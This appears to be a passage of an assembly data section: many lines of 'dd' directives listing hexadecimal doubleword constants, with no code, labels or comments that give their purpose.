dd 1EAED4A3h, 8FCAA4E4h, 5A3DD69h, 0DCB87610h, 0D0018BD7h
dd 89DF6F62h, 9220A270h, 107891h, 13A9D812h, 2C78F0CBh
dd 80060B00h, 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh
dd 154F1B00h, 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh
dd 0F4716001h, 91A5C438h, 875F0h, 0F24A5A33h, 44022717h
dd 41A4EF00h, 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh
dd 57018D7Ah, 0E8719D0Dh, 46C847BFh, 17C800A0h, 5FC34287h
dd 34029CDDh, 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h
dd 19681384h, 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h
dd 2C000279h, 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h
dd 0C585F71Fh, 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h
dd 0A094B17h, 0CDE7B1h, 3A25A58Eh, 0E6AAEC29h, 93FA0044h
dd 0D01B9266h, 5E01BB65h, 14B45026h, 2AD419F2h, 0C79F0987h
dd 0E60089A9h, 0AF560574h, 316F839h, 9CB466ACh, 0D88CC364h
dd 758BDDh, 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h
dd 0BA727Eh, 27841D5h
dd 0C327116Ch, 4B8E5901h, 0A6B01E5Fh, 40D2ECh, 7517496Fh
dd 227C3966h, 0A39F4507h, 86202F71h, 0D94161h, 7BDB2529h
dd 676F881h, 35A85500h, 75AE2638h, 0CB450093h, 1834EA74h
dd 232E04DFh, 0AC034A08h, 0E88237EBh, 641AE2h, 0A6432101h
dd 9854B34Ah, 0FC93B909h, 48815F69h, 0D4022D6Ah, 7D004DBEh
dd 0C59B05A4h, 0B062A7h, 42BFC963h, 1C8F36A8h, 0FF96D100h
dd 0C4B8BC6Ah, 124F1D5Bh, 9C5C044h, 2C464772h, 40703802h
dd 7D94C0AAh, 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh, 8D268F00h
dd 7AF2357Bh, 1AD2052Fh, 0C0F007D3h, 0C2552B85h, 0F4D07800h
dd 1B3BC13h, 100B002Eh, 0E881A64Ah, 910F2924h, 60F164A5h
dd 9F0D9669h, 95840046h, 866A4BF6h, 0E8075414h, 302B75FCh
dd 0F0CBE693h, 0E329BAh, 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h
dd 5A59A165h, 70A580F4h, 0A62107E2h, 436C14C4h, 35A94485h
dd 5F51E0DCh, 92F46000h, 0C9311EFCh, 0CA090549h, 80405553h
dd 0C807302Dh, 94E98800h, 0B6F2E06Ch, 667C08h, 0D806EBD1h
dd 35F00973h, 83203E1Ch, 0B8F38100h, 0CEFEEDh, 31EB1C75h
dd 4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h
dd 61004384h, 97C447D4h, 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh
dd 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh, 46712D63h, 7B849743h
dd 0FC1807B2h, 518A1403h, 0C09DDF92h, 9EB0D368h, 0F8043Dh
dd 5DD0D45Fh, 3CC60150h, 8980B0A2h, 85FC29B7h, 4DEE17A9h
dd 7B2CDC00h, 5A241051h, 0E8010021h, 0B1ECDD4Fh, 93057102h
dd 52DF2347h, 0F31617C0h, 4FAC0028h, 77E50FCCh, 3E002941h
dd 0C8099412h, 1B1697h, 0F9A8072Dh, 7CD15A58h, 0F0564500h
dd 0BA51F6E6h, 5B380160h, 0CE077948h, 0B146CCEBh, 10FE8300h
dd 0C1ECF1EDh, 0DC95005Eh, 96D37224h, 0A800ABE2h, 67BD1E75h
dd 0E8D1ED2Bh, 8CB000E6h, 70834FF8h, 7C0058FFh, 3C709EFh
dd 9160C0h, 0A8A0048Ah, 3B94980Bh, 61114A00h, 51010244h
dd 0E3C10012h, 88C33683h, 71174606h, 2800295Fh, 34B264ABh
dd 0A58B1DAEh, 0E45200D2h, 92B2CB1h, 5CC45905h, 0C8016278h
dd 565B5A02h, 7F89760h, 8BFC12AAh, 40C2B7F3h, 789E7908h
dd 0B1A96000h, 985E58Eh, 0FE500134h, 4D8B42ACh, 0FD94DCDAh
dd 51E8AFF8h, 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h
dd 0CEEA2FA3h, 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh
dd 2C29BC6Dh, 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh
dd 0ABE8C3C1h, 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh
dd 0C0E69443h, 1C77CEEDh, 61E2BA6h, 814097AAh, 0E38D5426h
dd 5E280070h, 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh
dd 834000E4h, 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h
dd 0B7241E79h, 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh
dd 891A0010h, 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h
dd 0A98D00FEh, 7ADF1DEh, 6600A5F3h, 2D5B1E29h, 51AABDh
dd 0CBCC734Ch, 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h
dd 7C27785Eh, 4C0081A9h, 0B22B1ED9h, 3B8352C0h, 0BD0088DAh
dd 0B3ABFE59h, 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h
dd 0AF81EA92h, 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh
dd 500EB3Bh, 570F01B5h, 0C282Ch, 92049EC8h, 0CCE40DC9h
dd 0EE063Ch, 10D008D4h, 0F831FCh, 1DD87D89h, 59226421h
dd 0AC1F34F8h, 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h
dd 0BE002B24h, 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h
dd 32002126h, 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah
dd 600159Bh, 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh
dd 9A0B2700h, 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h
dd 9600DEFAh, 1B88CCE8h, 0DC7EADh, 50E94151h, 0FBFE7DBh
dd 0BCDE6300h, 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh
dd 0AC0040B0h, 39B481B8h, 0F85BC5h, 0B6BE24FCh, 0DC224972h
dd 20581D73h, 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh
dd 0D2732D16h, 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h
dd 9AC3B216h, 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh
dd 0B6E0DE51h, 505BAA8h, 64F9E3ECh, 0F195A50Ah, 54189107h
dd 8F200DBh, 1FD84293h, 814EB914h, 89D2D0B2h, 0CC1C9E64h
dd 988603FDh, 0C80A91D9h, 53AE5Bh, 175874DBh, 0EF0B4A4Eh
dd 0FF9CF018h, 0EC7552h, 185F8068h, 0F4E363C1h, 0E02BA00h
dd 1E4E1077h, 0E48C01AFh, 18A7F660h, 2030D914h, 0E1752A88h
dd 4C7C7175h, 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh
dd 2CD247B9h, 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h
dd 430C967Bh, 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h
dd 0F31FB078h, 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h
dd 0D7E7F40Bh, 4C0092DFh, 11D46D0h, 0F87032h, 0F4F15DD5h
dd 0EC933C2h, 0A9CAD200h, 29AF6A84h, 2A811238h, 0C3050102h
dd 0C9109E43h, 8722703Fh, 0F5933Fh, 8F060F38h, 3BE30811h
dd 1680FA0Ah, 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh
dd 7CB091E6h, 5C0E479Ch, 79535400h, 694C0901h, 31500062h
dd 736DC81Eh, 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh
dd 7D04BFD9h, 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h
dd 8BECF4h, 0EB124DD3h, 0EECFF34Bh, 5F4A4800h, 0FC555280h
dd 25C13BB8h, 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h
dd 0A9440006h, 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h
dd 124756DBh, 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h
dd 954E4F1Fh, 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h
dd 645C00D7h, 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h
dd 8C5B015Fh, 8464BDFh, 63DECE6h, 4253B00h, 0DB19C1D0h
dd 0EC0200EBh, 78B9F6FFh, 2D000DF7h, 2CC4F43Ah, 0B89DAAh
dd 3358DD7Bh, 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh
dd 8DB86104h, 80EDAD2Fh, 6890DD1h, 4938F800h, 5328BAC6h
dd 0CB150A91h, 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h
dd 24C518h, 9C098940h, 0B01F0456h, 7E2B1425h, 9A8D00CDh
dd 0BA1A8626h, 0E6313800h, 0F4C2CA93h, 82240394h, 29B2F972h
dd 0AF051B0h, 26DB2200h, 9317E83h, 0F22B3D74h, 0A54E7980h
dd 9B20B425h, 874F987Fh, 1A2C4DBCh, 0A9C70040h, 91DC45C9h
dd 804D073Bh, 8A032D2h, 7C701094h, 0E4A82C5Ch, 85E80085h
dd 38BFB2B0h, 5F8BA400h, 14AFB7D6h, 98C800BAh, 85903B8Ah
dd 0FF002175h, 66FF9BCh, 4C4E1E96h, 61008BDEh, 122BC667h
dd 0E8FBF687h, 9F3C1043h, 0B2B78B55h, 0A08F006Fh, 29EAA5h
dd 0C4363240h, 212DB350h, 0C671F39h, 0E2E165Ah, 22F86Ch
dd 0D23CD34Eh, 0B8F84883h, 0A1B301Ch, 90167343h, 0B40CD8C5h
dd 0B2440013h, 573ED36Eh, 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h
dd 12532E4Ch, 295C0097h, 73D06630h, 2C03B3F0h, 2116D3A2h
dd 545B8D8h, 0FFDD00D2h, 0C743759Ch, 0A90E1048h, 0AF490F26h
dd 5C6E05ADh, 0AC0C0680h, 7C477574h, 9251EE4h, 37B30FB9h
dd 0C26308A7h, 8940A2D6h, 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h
dd 0E08480A8h, 0B5165CB3h, 63210069h, 0ECFC6579h, 9400478Dh
dd 542DF450h
dd 7F5ABAF0h, 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh
dd 0E1B510h, 559D8A6h, 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh
dd 7AC40E11h, 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h
dd 83DE9ECFh, 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h
dd 394F73C0h, 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh
dd 8492D00Ch, 0B85D3207h, 89C9B412h, 26AA00FAh, 82EFF4h
dd 51CE7D8Dh, 0FDC39257h, 6642411Eh, 21F34C47h, 387EBC7Ch
dd 0BF00493Eh, 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh
dd 1DA6759Fh, 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh
dd 0A5CE0191h, 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h
dd 0A829001Ah, 0DF54E20h, 7BB8BA2Ch, 3F6051ECh, 0BE80D616h
dd 105E0BB9h, 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h
dd 558044BEh, 3E25D2F4h, 74047864h, 0C0A040FBh, 0F02E13D3h
dd 0D8482AE8h, 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h
dd 5400F8DCh, 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h
dd 650078BFh, 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h
dd 755CE9F8h, 1451006Ch, 9EE325Dh, 0E590028Ah, 4DD78970h
dd 0BE81D489h, 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h
dd 1D451723h, 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h
dd 7CDE4F4h, 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh
dd 1835B59h, 8E1CC778h, 700AFB45h, 0C90013BBh, 4B7E0D0h
dd 2659FA5Fh, 0DE010Dh, 0E7557C8Ah, 0E8074284h, 5319A76Bh
dd 0FF046FE0h, 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h
dd 9880E10Fh, 0F94594h, 15086EEBh, 81C49610h, 67D38600h
dd 0A528F895h, 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h
dd 3E7DF03Bh, 0FA4178h, 0B838147Fh, 48A08203h, 0D4287528h
dd 2421F800h, 0B1541A22h, 102EC84h, 0AFFB672Dh, 60DC68C2h
dd 0F4CF45Dh, 80553EADh, 0B9368BC5h, 3CD20873h, 0B897304Ah
dd 0EE8800A7h, 0E4C16D7h, 616C4300h, 1C8E3373h, 0C8460048h
dd 0ACA754D9h, 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h
dd 0B9C0233Eh, 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h
dd 36FFC327h, 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h
dd 99D4004Ch, 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h
dd 0CC563334h, 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh
dd 88008398h, 3B633169h, 7FC99E21h, 0F9E5000Ah, 4E47C14Bh
dd 0DB98DB75h, 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h
dd 20F1407Bh, 2300DC4Fh, 12C0262Eh, 0E738EDD4h, 36C85E8h
dd 0F575A8BBh, 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh
dd 8D8E00DAh, 7DD2DC70h, 0D77B86F2h, 4DCB30EBh, 3E73E700h
dd 1B094892h, 0D67B16h, 0BEB5205Fh, 6F67699Dh, 2F652500h
dd 7BBB7389h, 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h
dd 7FF5BD48h, 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh
dd 1174A03Dh, 0B239CBh, 0EB057D0Bh, 0FF35EFAAh, 4831B800h
dd 84D4295Dh, 34FC0064h, 62B995EDh, 0A800CBF8h, 0D88831FFh
dd 0E4870803h, 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h
dd 7FB58B5Fh, 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h
dd 49975E77h, 50032429h, 94C60329h, 0CEFBECC3h, 0FC7B0A00h
dd 0ED45AA09h, 64407A7h, 906A1863h, 86D89A3Bh, 10AE7B00h
dd 2474DC2Fh, 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h
dd 5EEEE674h, 3F105CB0h, 34818ACCh, 0BA169DF8h, 0BC59C0BEh
dd 0E484261Eh, 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h
dd 42D480A4h, 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh
dd 0BD91C52Eh, 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh
dd 1FA109Dh, 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh
dd 3DE45570h, 79F0F430h, 3F538B01h, 0D0CFCC9Ch, 0D37330h
dd 68F810D9h, 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h
dd 0FA649793h, 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh
dd 43030004h, 79FA013Eh, 575D9600h, 0CA974E39h, 0E0C7007Ch
dd 9E14998Bh, 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h
dd 824485DAh, 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h
dd 6307C2F0h, 6240F8Bh, 0C5D404BAh, 0DABF3000h, 8DFB0228h
dd 0C540EBA0h, 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h
dd 0CAC0237Ch, 25F74Ch, 0F64C9B90h, 0B00507h, 0AFECE901h
dd 0D854DF4Dh, 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh
dd 283C3043h, 48080400h, 200C112Ch, 10440114h, 66D38318h
dd 0EF0AEC3Ah, 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h
dd 2A007586h, 144642A4h, 12711821h, 0FC7AB5C7h, 0AB770029h
dd 4163094Ch, 0B642039Ch, 747B7540h, 66B8DCF3h, 0C300DF29h
dd 2CBED669h, 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh
dd 0B700E99Fh, 45DD2609h, 600400F3h, 50520717h, 0AE8E2ADh
dd 0E8813B1Fh, 0DA097540h, 5A9780h, 7B517358h, 7D0CC5EBh
dd 257A4B00h, 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h
dd 51057724h, 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h
dd 7570E579h, 47C589h, 0F441A74Ch, 0DC867FDBh, 0DB80600h
dd 0CFA4D27h, 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh
dd 13B2F628h, 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h
dd 610AC0F6h, 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h
dd 0A771AE9Eh, 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah
dd 45491926h, 1602546h, 4CBAC38Ch, 0DCB49535h, 0F7F420F8h
dd 4301200h, 16344828h, 1F722Ch, 93FC4978h, 9A2F58A0h
dd 0E50011Ch, 13C93840h, 3D907F10h, 0C03E53EDh, 3B46F200h
dd 0C4972CEh, 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h
dd 86260E8h, 5AC07473h, 0FA9DD29h, 0D5800714h, 0A0240BC9h
dd 4519127Bh, 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h
dd 0C409FAEh, 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h
dd 0E400395Ch, 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h
dd 0E00355A8h, 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h
dd 0B975A775h, 7208F600h, 277C432Dh, 28393A29h, 0BF1C4412h
dd 8A0EAA01h, 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h, 5E079849h
dd 8A215350h, 0D45BCFF0h, 0A02A3969h, 4A61804h, 0B100EA42h
dd 0E790B0C3h, 0A51D0075h, 74349119h, 3B002B85h, 47763196h
dd 0CB92Ch, 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h
dd 0F9CEC937h, 83C6DAC3h, 7ABD32A2h, 339000B6h, 681574C5h
dd 0C8480C2Bh, 76193C00h, 8B0FC0FBh, 1DA6CE00h, 0AFB13B25h
dd 0C3EA004Ch, 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh
dd 810B00A6h, 0F73002B0h, 71009735h, 88930839h, 2E03117h
dd 0EA1052Bh, 14409601h, 0E11EA4A8h, 4AA6C44Eh, 75027600h
dd 24B82Fh, 0FA4CFD63h, 930447B5h, 27F22000h, 21AF7819h
dd 1C080037h, 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h
dd 8568A120h, 512C250Fh, 8CE2A803h, 0C01015C4h, 1D08F9D7h
dd 0CFBFF4h, 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h
dd 96B438F3h, 3043D001h, 0F4C54C16h, 6400EC7Eh, 0EF560441h
dd 7102C7Fh, 6032C824h
dd 68C0DE09h, 70916C48h, 54770271h, 0BDB0901Fh, 22C81FBDh
dd 15E2E100h, 2CF0CC2h, 4409F806h, 0D7C0086Ch, 313F744Ch
dd 32D08303h, 0EB3FC618h, 64C4A030h, 0FA88E66Fh, 80330031h
dd 0FD98C81Fh, 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh, 22C780DCh
dd 6E342174h, 0B8010C6h, 0A478B341h, 5000307Bh, 0C81EF9C7h
dd 1089264h, 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h, 0DC109400h
dd 5FC86070h, 524F1F58h, 7836C026h, 0EC6CBC95h, 4EEE4B0h
dd 80EF1B0h, 20118F0Ch, 0A052431Ch, 0E06B25EDh, 64132BFEh
dd 54B07F01h, 0A02F8625h, 0A12C252h, 35030FC3h, 85E36798h
dd 0E8F980AFh, 0EB003AF9h, 1C8B0104h, 4CFB8688h, 6F486EC1h
dd 8A058902h, 0BDE07549h, 44073848h, 3B431513h, 17CB0F30h
dd 9DF50120h, 0FA5F7442h, 5DD82046h, 0FDC64A00h, 13BC4F03h
dd 7406003Bh, 33D0FCF3h, 5800C909h, 67E47BE8h, 98E28025h
dd 0DB2000D9h, 0F1844E1Bh, 17039A7Eh, 9CEA6523h, 0CBBCC85Fh
dd 988E000Dh, 0B5FB0444h, 96002B84h, 487107BDh, 7B5806A0h
dd 7021004Ch, 54400F50h, 2301FEE3h, 0F7EBE8FBh, 3D5ECD5h
dd 75045F60h, 0E0CF003Ah, 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h
dd 2523FB18h, 1250EC0Ch, 0BEE2418h, 1047AD4h, 0F8F5C7CDh
dd 0D8073A9Ch, 0C302E0E8h, 0F918588Fh, 0D952C023h, 8AFA1C9h
dd 3CF7E6C4h, 0DF0394DBh, 0FF15EE33h, 2EF82F22h, 0E45ADF3h
dd 3E07A01h, 3A96B3DFh, 0EB981307h, 0DA900B0Dh, 1F437329h
dd 802BB61Bh, 3B887410h, 200758C4h, 14428C8Fh, 2C915477h
dd 23E8463Dh, 72510118h, 741CAF94h, 2089E8F8h, 0BE210B3Ch
dd 687702C4h, 0F70EC859h, 0A8289300h, 2C0489E6h, 0B703841Ah
dd 0F8589383h, 0EE8885C5h, 34C40790h, 0AE423C2Ch, 622025CFh
dd 5A193538h, 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h, 80A89195h
dd 0C5812Ah, 5A827999h, 7FAE037Ah, 0CCA24200h, 369D86EEh
dd 0C8C00B7h, 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h
dd 52C63F1Bh, 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h
dd 0DDA905D1h, 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h
dd 342200A6h, 46A2F82h, 8800A495h, 4178C646h, 91085B8h
dd 436DAC14h, 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h
dd 0F286D2E8h, 59FCF3D8h, 11A7EEAh, 2B1864E5h, 30C3113Ch
dd 2330B9CFh, 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h
dd 0F87C84A7h, 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h
dd 22D04334h, 64B0B8h, 0EC1BF1A2h, 831F3C32h, 0C7813A07h
dd 6E10D9A1h, 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h
dd 601F5389h, 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h
dd 0A56CE907h, 67B88D34h, 14D60818h, 3E02D31Ah, 0E987ABF0h
dd 800F7BB1h, 94E21A11h, 437C9C00h, 0C4A3887Eh, 0CB381F28h
dd 64BCDE8Dh, 0EE80751h, 750B0C8h, 0F39087ACh, 8BFA683Ah
dd 0FC91F08h, 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h
dd 5A83EC0Ah, 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h
dd 4314001Ch, 4152A2E0h, 5100C2E9h, 0FF33F81Fh, 3F990h
dd 52EE5D7h, 5EE2C189h, 527C4Ch, 12414B4h, 348504Ah, 4C425A06h
dd 84C37210h, 0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h
dd 0C08A1EC1h, 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h
dd 0E676045h, 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h
dd 10324476h, 0E1F05800h, 8100C3D2h, 22EEEF5Ch, 3600EC0h
dd 0FEDCBA98h, 10E06480h, 8901ABCDh, 45676802h, 6CC00123h
dd 2D1E000Fh, 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh
dd 3FE03B18h, 3440702h, 7E08008h, 7E0038F8h, 2B6FA81Eh
dd 18D6BD0h, 0E633F525h, 0F4D553DBh, 1A007E29h, 761451FFh
dd 311E95h, 0FAE0C183h, 0D82F707Fh, 800CB338h, 146C6BDFh
dd 0EA9AAC55h, 8BFC40h, 0DD8192C4h, 7245618Ah, 95D5BE00h
dd 552DD3FEh, 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh
dd 5E76013Fh, 3520D7FAh, 7B74BF54h, 0DF3B07FDh, 0A08D107Dh
dd 28BD3F2Eh, 80CB2A3Bh, 0AE4FEB24h, 24A91229h, 3B51064h
dd 0DF2B8DC6h, 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h
dd 62C2BD7Ch, 20831D98h, 0EB00EAB3h, 8CFB069Dh, 4DEC7Dh
dd 6FC56A03h, 67FF6951h, 0BDA71801h, 86B62C14h, 0E46A1670h
dd 0E4E80009h, 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h
dd 0E16600FAh, 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h
dd 0F93C0C20h, 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h
dd 4C33A91Ch, 0F101188h, 0F87C7E0Fh, 7DAB40FDh, 0BDCE17h
dd 0A9F047C1h, 234E9C24h, 4BE2600h, 81664CCh, 30F070Ah
dd 0B3AE9FFEh, 7CC0AF60h, 8C02A1F5h, 4610DE70h, 6714C1BEh
dd 147870h, 87C62A01h, 52F13547h, 34978C00h, 90CC8523h
dd 13040018h, 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h
dd 0BCAF0390h, 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h
dd 7AF701AFh, 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh
dd 0F00FAAD8h, 24BE022Ch, 1E905CD7h, 3B10C065h, 30C485BFh
dd 11220107h, 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh
dd 0FD987193h, 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h
dd 0B3CF9C0h, 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h
dd 0A8F61Eh, 4518E869h, 58C4CB1h, 0CE0D8007h, 40BE408Eh
dd 0C050B372h, 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch
dd 0DD265E5Ah, 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h
dd 0AA984ED3h, 4CE9B640h, 9600D7D2h, 97801DCFh, 0FB017204h
dd 290C0514h, 5DC0F28Bh, 0D62F3010h, 9888A3E8h, 285138h
dd 42441453h, 0BB42302h, 5729B7C4h, 0A1E66601h, 99E5F0D8h
dd 0BBB8B00h, 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h
dd 8C2B46DEh, 95C05285h, 721E1CDh, 1EB22FC2h, 82BA79h
dd 710D638h, 8478C337h, 43126CFCh, 7C00CF47h, 0D50D8708h
dd 3E71EAF4h, 0C18F42ACh, 4E01017h, 455A14EDh, 623094FCh
dd 2341B6Ah, 63E90205h, 0BB198C6Eh, 44B0D5C0h, 0F8010803h
dd 0B0FCEFA3h, 1C108FCCh, 1CA2CFh, 676F02D9h, 0C09FD81h
dd 0E485D3h, 2A4C8A18h, 1F20EA8Dh, 40F608B3h, 420490EFh
dd 0FF7BFA39h, 1711A100h, 2BA09DC2h, 8AD01C3Bh, 0F6E4C1AAh
dd 0E0877129h, 0B3006609h, 0B40B794h, 7D04C55h, 6122E02Bh
dd 856DA39Dh, 0E2B5ADD0h, 700E1000h, 0C0738A2h, 0A0E50045h
dd 0B34EA61Ah, 170E232Ch, 0E0330981h, 0BEEA44C1h, 845801A4h
dd 0BF10879Bh, 0A9A940A2h, 4B2EDE72h, 0D9895611h, 60C10744h
dd 0A9F6BBA3h, 9A20AE09h, 70020728h, 51BEBFBCh, 401FB42Ah
dd 7EC604A4h, 61289B1Eh, 110BC340h, 993D143h, 27FAEF41h
dd 83488E82h, 1641A1E2h, 1BCEFC5Ch, 30850400h, 8C0AD4EFh
dd 7FF9083h, 1D100518h, 0AD21F088h, 39E024F9h, 46D4D00Fh
dd 0C4A240D9h, 18874C6h, 9914E5CFh, 0E084E6DBh, 0E003D1F1h
dd 0F43C200Ah, 1FA2A07Ch, 0AF103F21h, 65000838h, 0C440AC56h
dd 0B5714331h, 44E64101h, 86F42922h, 0B9D15F4h, 0EE5BCC0Ch
dd 2063F00h, 0B924D249h, 97000185h, 435F2AFFh, 0BF60041h
dd 4AB278E9h, 0A002087h, 0C9D2682Eh, 0F223A770h, 0C59094h
dd 15D01747h
dd 0FC889ECh, 0A2111013h, 0A0398E00h, 0E03093h, 0D27E6AE9h
dd 90E804F0h, 9AD8C400h, 280B8115h, 0C3E00055h, 65405B59h
dd 8C1FA5A1h, 0C40D544h, 0EACC9280h, 0F71988Fh, 0F4E4B304h
